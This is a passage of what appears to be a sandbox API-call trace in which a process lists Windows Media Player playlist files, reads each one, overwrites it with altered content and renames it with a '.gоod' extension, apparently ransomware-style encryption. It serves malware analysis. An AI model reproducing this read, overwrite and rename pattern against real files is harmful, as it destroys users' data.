ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0248.672] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0248.672] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0248.672] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0248.672] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0248.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb370) returned 1 [0248.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb330) returned 1 [0248.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb430) returned 1 [0248.673] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9", nBufferLength=0x105, lpBuffer=0x207eaed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9", lpFilePart=0x0) returned 0x52 [0248.673] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\*", lpFindFileData=0x207eb150 | out: lpFindFileData=0x207eb150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0248.673] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc61bbb37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0248.673] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0248.674] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0248.675] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x207eb110 | out: lpFindFileData=0x207eb110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9d3bae, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9d3bae, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9d3bae, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0248.675] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0248.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb370) returned 1 [0248.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb330) returned 1 [0248.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0248.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0248.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x386d418 | out: lpFileInformation=0x386d418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1 [0248.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0248.677] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0248.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0248.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0248.677] GetFileType (hFile=0x86c) returned 0x1 [0248.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0248.677] GetFileType (hFile=0x86c) returned 0x1 [0248.677] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x414 [0248.677] ReadFile (in: hFile=0x86c, lpBuffer=0x386dbe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x386dbe8*, lpNumberOfBytesRead=0x207eb168*=0x414, lpOverlapped=0x0) returned 1 [0248.679] CloseHandle (hObject=0x86c) returned 1 [0248.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0248.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0248.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0248.707] GetFileType (hFile=0x86c) returned 0x1 [0248.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0248.707] GetFileType (hFile=0x86c) returned 0x1 [0248.707] WriteFile (in: hFile=0x86c, lpBuffer=0x38e8708*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x38e8708*, lpNumberOfBytesWritten=0x207eb078*=0x420, lpOverlapped=0x0) returned 1 [0248.707] CloseHandle (hObject=0x86c) returned 1 [0248.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl", lpFilePart=0x0) returned 0x75 [0248.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl.gоod", lpFilePart=0x0) returned 0x7a [0248.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0248.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9074d202, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0248.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0248.707] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\01_Music_auto_rated_at_5_stars.wpl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\01_music_auto_rated_at_5_stars.wpl.gоod")) returned 1 [0248.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", lpFilePart=0x0) returned 0x77 [0248.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1e0) returned 1 [0248.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x38e9ab8 | out: lpFileInformation=0x38e9ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3c9ad963, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1 [0248.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb1a0) returned 1 [0248.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", lpFilePart=0x0) returned 0x77 [0248.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0248.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0248.709] GetFileType (hFile=0x86c) returned 0x1 [0248.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0248.709] GetFileType (hFile=0x86c) returned 0x1 [0248.709] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207eb238 | out: lpFileSizeHigh=0x207eb238*=0x0) returned 0x4ff [0248.709] ReadFile (in: hFile=0x86c, lpBuffer=0x38ea380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207eb168, lpOverlapped=0x0 | out: lpBuffer=0x38ea380*, lpNumberOfBytesRead=0x207eb168*=0x4ff, lpOverlapped=0x0) returned 1 [0249.284] CloseHandle (hObject=0x86c) returned 1 [0249.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207eab70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", lpFilePart=0x0) returned 0x77 [0249.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb090) returned 1 [0249.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0249.313] GetFileType (hFile=0x86c) returned 0x1 [0249.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb000) returned 1 [0249.313] GetFileType (hFile=0x86c) returned 0x1 [0249.313] WriteFile (in: hFile=0x86c, lpBuffer=0x37db230*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x207eb078, lpOverlapped=0x0 | out: lpBuffer=0x37db230*, lpNumberOfBytesWritten=0x207eb078*=0x500, lpOverlapped=0x0) returned 1 [0249.313] CloseHandle (hObject=0x86c) returned 1 [0249.314] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl", lpFilePart=0x0) returned 0x77 [0249.314] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl.gоod", nBufferLength=0x105, lpBuffer=0x207ead10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl.gоod", lpFilePart=0x0) returned 0x7c [0249.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207eb1a0) returned 1 [0249.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\000165c9\\02_music_added_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x207eb280 | out: lpFileInformation=0x207eb280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9ad963, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3c9ad963, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x90cfe779, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1 [0249.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eb160) returned 1 [0249.314] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\000165C9\\02_Music_added_in_the_last_month.wpl" (normalized: 